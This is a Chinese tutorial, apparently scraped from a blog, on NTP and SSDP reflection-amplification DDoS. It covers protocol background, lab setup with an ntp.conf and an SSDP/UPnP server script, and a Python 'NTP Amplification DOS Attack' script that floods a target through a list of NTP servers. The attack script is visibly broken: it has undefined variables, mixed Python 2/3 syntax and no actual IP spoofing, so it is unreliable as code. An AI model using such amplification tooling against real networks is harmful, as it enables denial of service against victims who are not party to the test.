反射放大DDoS

您所在的位置:网站首页 ntp ddos 反射放大DDoS

反射放大DDoS

2024-07-13 09:02| 来源: 网络整理| 查看: 265

最近遇到反射放大攻击的需求,这里简要介绍下相关的攻击类型及实验过程。

NTP反射放大攻击

DDoS攻击是一种耗尽资源的网络攻击方式,攻击者通过流量攻击,有针对性的漏洞攻击等耗尽目标主机的资源来达到拒绝服务的目的。

反射放大攻击是一种具有巨大攻击力的DDoS攻击方式。攻击者只需要付出少量的代价,即可对需要攻击的目标产生巨大的流量,对网络带宽资源(网络层)、连接资源(传输层)和计算机资源(应用层)造成巨大的压力.反射放大攻击主要是利用回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器。

实验环境搭建0x00 NTP及NTP反射放大攻击1. NTP

NTP是网络时间协议(Network Time Protocol),它是用来同步网络中各个计算机的时间的协议。它的用途是把计算机的时钟同步到世界协调时UTC,其精度在局域网内可达0.1ms,在互联网上绝大多数的地方其精度可以达到1-50ms。它可以使计算机对其服务器或时钟源(如石英钟,GPS等等)进行时间同步,它可以提供高精准度的时间校正,而且可以使用加密确认的方式来防止病毒的协议攻击。

2. NTP反射放大攻击

由于NTP是基于UDP协议的,UDP协议面向无连接,客户端发送请求包的源 IP 很容易进行伪造。当把源 IP 修改为受害者的 IP,最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击。

NTP反射放大攻击是一种分布式拒绝服务(DDoS)攻击,其中攻击者利用网络时间协议(NTP)服务器功能,以便用一定数量的UDP流量压倒目标网络或服务器,使常规流量无法访问目标及其周围的基础设施。

标准NTP 服务提供了一个 monlist查询功能,也被称为MON_GETLIST,该功能主要用于监控 NTP 服务器的服务状况,当用户端向NTP服务提交monlist查询时,NTP 服务器会向查询端返回与NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。由于NTP服务使用UDP协议,攻击者可以伪造源发地址向NTP服务进行monlist查询,这将导致NTP服务器向被伪造的目标发送大量的UDP数据包,理论上这种恶意导向的攻击流量可以放大到伪造查询流量的100倍。

NTP放大攻击可以分为四个步骤:

攻击者使用僵尸网络,将带有欺骗IP地址的UDP数据包发送到启用了monlist命令的NTP服务器。每个数据包上的欺骗IP地址指向受害者的真实IP地址。 每个UDP数据包使用其monlist命令向NTP服务器发出请求,从而产生大量响应。 服务器使用结果数据,响应欺骗地址。 目标的IP地址接收响应,周围的网络基础设施因流量泛滥而变得不堪重负,导致拒绝服务。 0x01 NTP环境搭建服务端 安装NTP服务器:yum install -y ntp 配置/etc/ntp.conf配置如下: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758# For more information about this file, see the man pages# ntp.conf(5), ntp_acc(5), ntp_auth(5), ntp_clock(5), ntp_misc(5), ntp_mon(5).driftfile /var/lib/ntp/drift# Permit time synchronization with our time source, but do not# permit the source to query or modify the service on this system.restrict default nomodify notrap nopeer noquery# Permit all access over the loopback interface. This could# be tightened as well, but to do so would effect some of# the administrative functions.restrict 127.0.0.1 restrict ::1# Hosts on local network are less restricted.#restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap# Use public servers from the pool.ntp.org project.# Please consider joining the pool (http://www.pool.ntp.org/join.html).server 0.centos.pool.ntp.org iburstserver 1.centos.pool.ntp.org iburstserver 2.centos.pool.ntp.org iburstserver 3.centos.pool.ntp.org iburst#broadcast 192.168.1.255 autokey # broadcast server#broadcastclient # broadcast client#broadcast 224.0.1.1 autokey # multicast server#multicastclient 224.0.1.1 # multicast client#manycastserver 239.255.254.254 # manycast server#manycastclient 239.255.254.254 autokey # manycast client# Enable public key cryptography.#cryptoincludefile /etc/ntp/crypto/pw# Key file containing the keys and key identifiers used when operating# with symmetric key cryptography. keys /etc/ntp/keys# Specify the key identifiers which are trusted.#trustedkey 4 8 42# Specify the key identifier to use with the ntpdc utility.#requestkey 8# Specify the key identifier to use with the ntpq utility.#controlkey 8# Enable writing of statistics records.#statistics clockstats cryptostats loopstats peerstats# Disable the monitoring facility to prevent amplification attacks using ntpdc# monlist command when default restrict does not include the noquery flag. See# CVE-2013-5211 for more details.# Note: Monitoring will not be disabled with the limited restriction flag. 服务开启、测试 123systemctl start ntpdchkconfig ntpd onntpstat #查看状态 客户端

查看路由,并调整为服务端可达,安装环境

12yum install -y vimyum install -y ntp

修改/etc/ntp.conf如下:

配置测试,测试成功:

1ntpdc -n -c monlist 192.168.20.16

0x02 反射放大攻击攻击机1234# 配置环境git clone https://github.com/secdev/scapy.gitcd ~/scapypython setup.py install

编写攻击脚本123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384from scapy.all import *import sysimport threadingimport timeimport randomdef deny(): global ntplist global current_server global data global target ntpserver = ntplist[current_server] currentserver = current_server + 1 conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) conn.settimeout(5) try: # ntp 123 conn.connect((ip, port)) print("connected%s, %d"%(ip, port)) conn.sendall(b'\x17\x00\x02\x2a'+b'\x00'*4) sleep(1) data_lens = 0 flag = 0 while True: try: data = conn.recv(15000) flag =1 if len(data): data_lens+=len(data)+42 else: break except socket.timeout: break if flag ==1: log_addr(ip, port,data_lens) except: return def printhelp(): print "NTP Amplification DOS Attack" exit(0)try: if len(sys.argv) < 4: printhelp() target = sys.argv[1] if target in ("help","-h","h","?","--h","--help","/?"): printhelp() ntpserverfile = sys.argv[2] numberthreads = int(sys.argv[3]) #System for accepting bulk input ntplist = [] currentserver = 0 with open(ntpserverfile) as f: ntplist = f.readlines() #Make sure we dont out of bounds if numberthreads > int(len(ntplist)): print "Attack Aborted: More threads than servers" print "Next time dont create more threads than servers" exit(0) data = b"\x17\x00\x03\x2a" + b"\x00" * 4 threads = [] print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads" print "Use CTRL+C to stop attack" for n in range(numberthreads): thread = threading.Thread(target=deny) thread.daemon = True thread.start() threads.append(thread) #In progress! print "Sending..." while True: time.sleep(1)except KeyboardInterrupt: print("Script Stopped [ctrl + c]... Shutting down")

攻击机:

服务器不断刷新攻击包:

SSDP反射放大攻击实验环境搭建0x00 SSDP反射放大攻击

SSDP攻击是一种基于反射的分布式拒绝服务(DDoS)攻击,它利用通用即插即用(UPnP)网络协议向目标受害者发送放大的流量,以致目标受害者的基础设施和其Web资源脱机。

SSDP DDoS攻击的6个步骤:

首先,攻击者进行扫描,寻找可以用作放大因子的即插即用设备。 随着攻击者发现联网设备,他们将创建所有响应设备的列表。 攻击者使用目标受害者的欺骗IP地址创建UDP数据包。 然后,攻击者使用僵尸网络通过设置某些标志(特别是ssdp:rootdevice或ssdp:all),向每个即插即用设备发送一个欺骗性发现数据包,并请求更多数据。 结果,每个设备将向目标受害者发送回复,其数据量最多是攻击者请求的30倍。 然后目标服务器从所有设备接收大量流量,并且不堪重负,有可能导致对合法流量的拒绝服务。 0x01 SSDP环境搭建服务端 构造服务端脚本ssdp_server.py,使用网段网卡eth1用于测试。

三方库安装:

12pip3 install netifacespip3 install pydevd

服务端测试脚本:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364import uuidimport netifaces as niimport loggingimport threadingimport randomimport timeimport socketimport loggingfrom time import sleepfrom email.utils import formatdatefrom errno import ENOPROTOOPTfrom http.server import BaseHTTPRequestHandler, HTTPServerSSDP_PORT = 1900SSDP_ADDR = '239.255.255.250'SERVER_ID = 'ZeWaren example SSDP Server'NETWORK_INTERFACE = 'eth1'logger = logging.getLogger()class SSDPServer: """A class implementing a SSDP server. The notify_received and searchReceived methods are called when the appropriate type of datagram is received by the server.""" known = {} def __init__(self): self.sock = None def run(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) if hasattr(socket, "SO_REUSEPORT"): try: self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) except socket.error as le: # RHEL6 defines SO_REUSEPORT but it doesn't work if le.errno == ENOPROTOOPT: pass else: raise addr = socket.inet_aton(SSDP_ADDR) interface = socket.inet_aton('0.0.0.0') cmd = socket.IP_ADD_MEMBERSHIP self.sock.setsockopt(socket.IPPROTO_IP, cmd, addr + interface) self.sock.bind(('0.0.0.0', SSDP_PORT)) self.sock.settimeout(1) while True: try: data, addr = self.sock.recvfrom(1024) self.datagram_received(data, addr) except socket.timeout: continue self.shutdown() def shutdown(self): for st in self.known: if self.known[st]['MANIFESTATION'] == 'local': self.do_byebye(st) def datagram_received(self, data, host_port): """Handle a received multicast datagram.""" (host, port) = host_port try: header, payload = data.decode().split('\r\n\r\n')[:2] except ValueError as err: logger.error(err) return lines = header.split('\r\n') cmd = lines[0].split(' ') lines = map(lambda x: x.replace(': ', ':', 1), lines[1:]) lines = filter(lambda x: len(x) > 0, lines) headers = [x.split(':', 1) for x in lines] headers = dict(map(lambda x: (x[0].lower(), x[1]), headers)) logger.info('SSDP command %s %s - from %s:%d' % (cmd[0], cmd[1], host, port)) logger.debug('with headers: {}.'.format(headers)) if cmd[0] == 'M-SEARCH' and cmd[1] == '*': # SSDP discovery self.discovery_request(headers, (host, port)) elif cmd[0] == 'NOTIFY' and cmd[1] == '*': # SSDP presence logger.debug('NOTIFY *') else: logger.warning('Unknown SSDP command %s %s' % (cmd[0], cmd[1])) def register(self, manifestation, usn, st, location, server=SERVER_ID, cache_control='max-age=1800', silent=False, host=None): """Register a service or device that this SSDP server will respond to.""" logging.info('Registering %s (%s)' % (st, location)) self.known[usn] = {} self.known[usn]['USN'] = usn self.known[usn]['LOCATION'] = location self.known[usn]['ST'] = st self.known[usn]['EXT'] = '' self.known[usn]['SERVER'] = server self.known[usn]['CACHE-CONTROL'] = cache_control self.known[usn]['MANIFESTATION'] = manifestation self.known[usn]['SILENT'] = silent self.known[usn]['HOST'] = host self.known[usn]['last-seen'] = time.time() if manifestation == 'local' and self.sock: self.do_notify(usn) def unregister(self, usn): logger.info("Un-registering %s" % usn) del self.known[usn] def is_known(self, usn): return usn in self.known def send_it(self, response, destination, delay, usn): logger.debug('send discovery response delayed by %ds for %s to %r' % (delay, usn, destination)) try: self.sock.sendto(response.encode(), destination) except (AttributeError, socket.error) as msg: logger.warning("failure sending out byebye notification: %r" % msg) def discovery_request(self, headers, host_port): """Process a discovery request. The response must be sent to the address specified by (host, port).""" (host, port) = host_port logger.info('Discovery request from (%s,%d) for %s' % (host, port, headers['st'])) logger.info('Discovery request for %s' % headers['st']) # Do we know about this service? for i in self.known.values(): if i['MANIFESTATION'] == 'remote': continue if headers['st'] == 'ssdp:all' and i['SILENT']: continue if i['ST'] == headers['st'] or headers['st'] == 'ssdp:all': response = ['HTTP/1.1 200 OK'] usn = None for k, v in i.items(): if k == 'USN': usn = v if k not in ('MANIFESTATION', 'SILENT', 'HOST'): response.append('%s: %s' % (k, v)) if usn: response.append('DATE: %s' % formatdate(timeval=None, localtime=False, usegmt=True)) response.extend(('', '')) delay = random.randint(0, int(headers['mx'])) self.send_it('\r\n'.join(response), (host, port), delay, usn) def do_notify(self, usn): """Do notification""" if self.known[usn]['SILENT']: return logger.info('Sending alive notification for %s' % usn) resp = [ 'NOTIFY * HTTP/1.1', 'HOST: %s:%d' % (SSDP_ADDR, SSDP_PORT), 'NTS: ssdp:alive', ] stcpy = dict(self.known[usn].items()) stcpy['NT'] = stcpy['ST'] del stcpy['ST'] del stcpy['MANIFESTATION'] del stcpy['SILENT'] del stcpy['HOST'] del stcpy['last-seen'] resp.extend(map(lambda x: ': '.join(x), stcpy.items())) resp.extend(('', '')) logger.debug('do_notify content', resp) try: self.sock.sendto('\r\n'.join(resp).encode(), (SSDP_ADDR, SSDP_PORT)) self.sock.sendto('\r\n'.join(resp).encode(), (SSDP_ADDR, SSDP_PORT)) except (AttributeError, socket.error) as msg: logger.warning("failure sending out alive notification: %r" % msg) def do_byebye(self, usn): """Do byebye""" logger.info('Sending byebye notification for %s' % usn) resp = [ 'NOTIFY * HTTP/1.1', 'HOST: %s:%d' % (SSDP_ADDR, SSDP_PORT), 'NTS: ssdp:byebye', ] try: stcpy = dict(self.known[usn].items()) stcpy['NT'] = stcpy['ST'] del stcpy['ST'] del stcpy['MANIFESTATION'] del stcpy['SILENT'] del stcpy['HOST'] del stcpy['last-seen'] resp.extend(map(lambda x: ': '.join(x), stcpy.items())) resp.extend(('', '')) logger.debug('do_byebye content', resp) if self.sock: try: self.sock.sendto('\r\n'.join(resp), (SSDP_ADDR, SSDP_PORT)) except (AttributeError, socket.error) as msg: logger.error("failure sending out byebye notification: %r" % msg) except KeyError as msg: logger.error("error building byebye notification: %r" % msg)class UPNPHTTPServerHandler(BaseHTTPRequestHandler): """ A HTTP handler that serves the UPnP XML files. """ # Handler for the GET requests def do_GET(self): if self.path == '/boucherie_wsd.xml': self.send_response(200) self.send_header('Content-type', 'application/xml') self.end_headers() self.wfile.write(self.get_wsd_xml().encode()) return if self.path == '/jambon-3000.xml': self.send_response(200) self.send_header('Content-type', 'application/xml') self.end_headers() self.wfile.write(self.get_device_xml().encode()) return else: self.send_response(404) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(b"Not found.") return def get_device_xml(self): """ Get the main device descriptor xml file. """ xml = """ 1 0 urn:schemas-upnp-org:device:Basic:1 {friendly_name} uuid:{uuid} http://xxx.yyy.zzz.aaaa:5000 urn:boucherie.example.com:service:Jambon:1 urn:boucherie.example.com:serviceId:Jambon /jambon /boucherie_wsd.xml {presentation_url} """ return xml.format(friendly_name=self.server.friendly_name, manufacturer=self.server.manufacturer, manufacturer_url=self.server.manufacturer_url, model_description=self.server.model_description, model_name=self.server.model_name, model_number=self.server.model_number, model_url=self.server.model_url, serial_number=self.server.serial_number, uuid=self.server.uuid, presentation_url=self.server.presentation_url) @staticmethod def get_wsd_xml(): """ Get the device WSD file. """ return """10"""class UPNPHTTPServerBase(HTTPServer): """ A simple HTTP server that knows the information about a UPnP device. """ def __init__(self, server_address, request_handler_class): HTTPServer.__init__(self, server_address, request_handler_class) self.port = None self.friendly_name = None self.uuid = None self.presentation_url = Noneclass UPNPHTTPServer(threading.Thread): """ A thread that runs UPNPHTTPServerBase. """ def __init__(self, port, friendly_name, uuid, presentation_url): threading.Thread.__init__(self, daemon=True) self.server = UPNPHTTPServerBase(('', port), UPNPHTTPServerHandler) self.server.port = port self.server.friendly_name = friendly_name self.server.uuid = uuid self.server.presentation_url = presentation_url def run(self): self.server.serve_forever()logger1 = logging.getLogger()logger1.setLevel(logging.DEBUG)def get_network_interface_ip_address(interface='eth1'): """ Get the first IP address of a network interface. :param interface: The name of the interface. :return: The IP address. """ while True: if NETWORK_INTERFACE not in ni.interfaces(): logger1.error('Could not find interface %s.' % (interface,)) exit(1) interface = ni.ifaddresses(interface) if (2 not in interface) or (len(interface[2]) == 0): logger1.warning('Could not find IP of interface %s. Sleeping.' % (interface,)) sleep(60) continue return interface[2][0]['addr']device_uuid = uuid.uuid4()local_ip_address = get_network_interface_ip_address(NETWORK_INTERFACE)http_server = UPNPHTTPServer(8088, friendly_name="Jambon 3000", uuid=device_uuid, presentation_url="http://{}:5000/".format(local_ip_address))http_server.start()ssdp = SSDPServer()ssdp.register('local', 'uuid:{}::upnp:rootdevice'.format(device_uuid), 'upnp:rootdevice', 'http://{}:8088/jambon-3000.xml'.format(local_ip_address))ssdp.run() 构造开机自启脚本auto.sh 1python3 ssdp_server.py

添加执行权限chmod 755 ssdp_server.py

写入开机自启动vim /etc/rc.d/rc.local

1bash /root/auto.sh

客户端 查看路由,并调整为服务端可达,安装实验环境 1yum install -y vim

部署攻击脚本ssdp_attack.py,攻击脚本可通过理解协议完成构造,可参考ssdp_attack

指定网段网卡,并运行。测试成功,服务端不断刷新回显。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3